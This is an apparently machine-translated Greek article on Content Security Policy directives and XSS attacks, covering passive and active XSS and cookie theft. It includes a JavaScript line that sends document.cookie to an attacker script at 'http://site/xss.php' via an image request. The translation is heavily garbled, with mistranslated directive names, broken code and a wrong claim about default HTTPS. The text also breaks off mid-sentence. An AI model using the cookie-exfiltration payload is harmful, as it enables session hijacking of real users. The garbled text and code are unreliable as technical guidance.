Για κάθε οδηγία, τα δεδομένα στην έκφραση προέλευσης καθορίζουν ποιες πηγές μπορούν να χρησιμοποιηθούν για τη φόρτωση των πόρων του κατάλληλου τύπου.

Διευθυντικός

Οι ακόλουθες οδηγίες μπορούν να χρησιμοποιηθούν στην κεφαλίδα CSP:

  • Σύνδεση-SRC.
  • font-src.
  • Πλαίσιο-src.
  • iMG-SRC.
  • media-src.
  • Αντικείμενο-SRC.
  • script-src.
  • Στυλ-src.

Εκτός αυτού, η ειδική οδηγία Default-SRC μπορεί να χρησιμοποιηθεί για να εξασφαλιστεί η προεπιλεγμένη τιμή για όλες τις οδηγίες που δεν συμπεριλήφθηκαν στον τίτλο.

Έκφραση της πηγής

Η σύνταξη για τη δημιουργία έκφρασης της πηγής έχει ως εξής:

Πρωτόκολλο: // Όνομα κεντρικού υπολογιστή: Αριθμός θύρας

Το όνομα κεντρικού υπολογιστή μπορεί να ξεκινήσει με *, αυτό σημαίνει ότι οποιοδήποτε υποτομέα του παρεχόμενου ονόματος κεντρικού υπολογιστή θα επιλυθεί. Ομοίως, ο αριθμός θύρας μπορεί να αντιπροσωπεύεται ως *, αυτό σημαίνει ότι όλες οι θύρες θα επιλυθούν. Επιπλέον, ο αριθμός πρωτοκόλλου και θύρας μπορεί να χαθεί. Εάν το πρωτόκολλο δεν έχει καθοριστεί, η πολιτική θα απαιτήσει τη φόρτωση όλων των πόρων χρησιμοποιώντας το HTTPS.

Εκτός από την παραπάνω σύνταξη, η έκφραση της πηγής μπορεί να είναι ένα από τα τέσσερα ως εναλλακτική λύση Λέξεις-κλειδιά Με ειδική τιμή (συμπεριλαμβάνονται τα αποσπάσματα):

"Κανένα" απαγορεύει τους πόρους. Το "Self" επιτρέπει στους πόρους από τον κεντρικό υπολογιστή στον οποίο βρίσκεται η ιστοσελίδα. Η "μη ασφαλής ενσωματωμένη" επιτρέπει στους πόρους που περιέχονται στη σελίδα ως ενσωματωμένη

Κάπως όχι πολύ τρομακτικό :) Τι μπορεί πραγματικά να είναι επικίνδυνο αυτή η ευπάθεια;

Παθητική και ενεργή

Υπάρχουν δύο τύποι τυχαιριών XSS - παθητικές και ενεργές.

Ενεργός ευπάθεια Πιο επικίνδυνο, καθώς ένας εισβολέας δεν χρειάζεται να δελεάσει τη θυσία σε έναν ειδικό σύνδεσμο, αρκεί να εφαρμόσει τον κώδικα στη βάση ή κάποιο αρχείο στο διακομιστή. Έτσι, όλοι οι επισκέπτες του ιστότοπου γίνονται αυτόματα θύματα. Μπορεί να ενσωματωθεί, για παράδειγμα, με την ενσωμάτωση του κώδικα SQL (SQL Injection). Επομένως, δεν πρέπει να εμπιστεύεστε τα δεδομένα που είναι αποθηκευμένα στη βάση δεδομένων, ακόμη και αν στο ένθετο επεξεργάστηκαν.

Παράδειγμα Παθητική ευπάθεια Μπορείτε να δείτε στην αρχή του άρθρου. Υπάρχει ήδη κοινωνική μηχανική, για παράδειγμα, μια σημαντική επιστολή από τη διοίκηση του ιστότοπου που σας ζητά να ελέγξετε τις ρυθμίσεις του λογαριασμού σας, μετά την ανάκτηση από το αντίγραφο ασφαλείας. Συνεπώς, πρέπει να γνωρίζετε τη διεύθυνση του θύματος ή απλά να κανονίσετε ένα ενημερωτικό δελτίο ανεπιθύμητης αλληλογραφίας ή να τοποθετήσετε μια θέση σε κάποιο φόρουμ και όχι ακόμα το γεγονός ότι τα θύματα θα είναι αφελείς και θα πάνε στη σύνδεσή σας.

Επιπλέον, οι παθητικές ευπάθειες μπορούν να υπόκεινται τόσο στην ανάρτηση όσο και στην παραμέτρηση. Με τις μετα-παραμέτρους, θα γίνει κατανοητό, θα πρέπει να πάτε σε κόλπα. Για παράδειγμα, η ανακατεύθυνση από τη θέση εισβολέα.

">

Κατά συνέπεια, η ευπάθεια λήψης είναι λίγο πιο επικίνδυνη, διότι Το θύμα είναι ευκολότερο να παρατηρήσει τον λανθασμένο τομέα από την πρόσθετη παράμετρο (αν και η διεύθυνση URL μπορεί να κωδικοποιηθεί καθόλου).

Μπισκότα

Αυτό είναι το πιο συχνά αναφερόμενο παράδειγμα επιθέσεων XSS. Στα τοποθεσίες Cookies αποθηκεύει μερικές φορές τυχόν πολύτιμες πληροφορίες (μερικές φορές ακόμη και τον κωδικό πρόσβασης και τον κωδικό πρόσβασης (ή το hash) του χρήστη), αλλά το πιο επικίνδυνο είναι η κλοπή μιας ενεργής συνεδρίας, οπότε μην ξεχάσετε να πατήσετε το σύνδεσμο "Έξοδος" στις τοποθεσίες, Ακόμα κι αν Οικιακός υπολογιστής. Ευτυχώς, στους περισσότερους πόρους, η διάρκεια ζωής της συνεδρίασης είναι περιορισμένη.

var іmg \u003d νέα εικόνα (); Іmg.sps \u003d "http: //site/xss.php;" + Document.cookie;

Ως εκ τούτου, οι περιορισμοί του τομέα στο XMLHTTPREQUEST, αλλά ο εισβολέας δεν είναι τρομακτικός, διότι υπάρχει